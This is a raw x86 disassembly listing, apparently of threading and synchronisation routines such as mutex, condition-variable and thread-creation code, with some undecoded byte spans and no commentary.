[esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi call near ptr 2750A04h nop push 0 push edi nop call near ptr 2760661h cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2750CA3h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi call near ptr 2760000h nop push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2760193h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx nop call near ptr 276043Ah test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3EC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3EC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3EC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3EC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9C0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3F4 mov [esi+1Ch], ecx mov eax, dword_50E3F4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3F0 mov dword_50E3F4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3F0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9C0 nop call near ptr 7C9010EDh loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9C0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3F0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3F0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3F4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3F4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9C0 call near ptr 7C9010EDh nop mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E940 call near ptr 7C9010EDh nop loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2760193h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E900 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax nop call near ptr 27506D1h cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E900 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 2750639h test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi 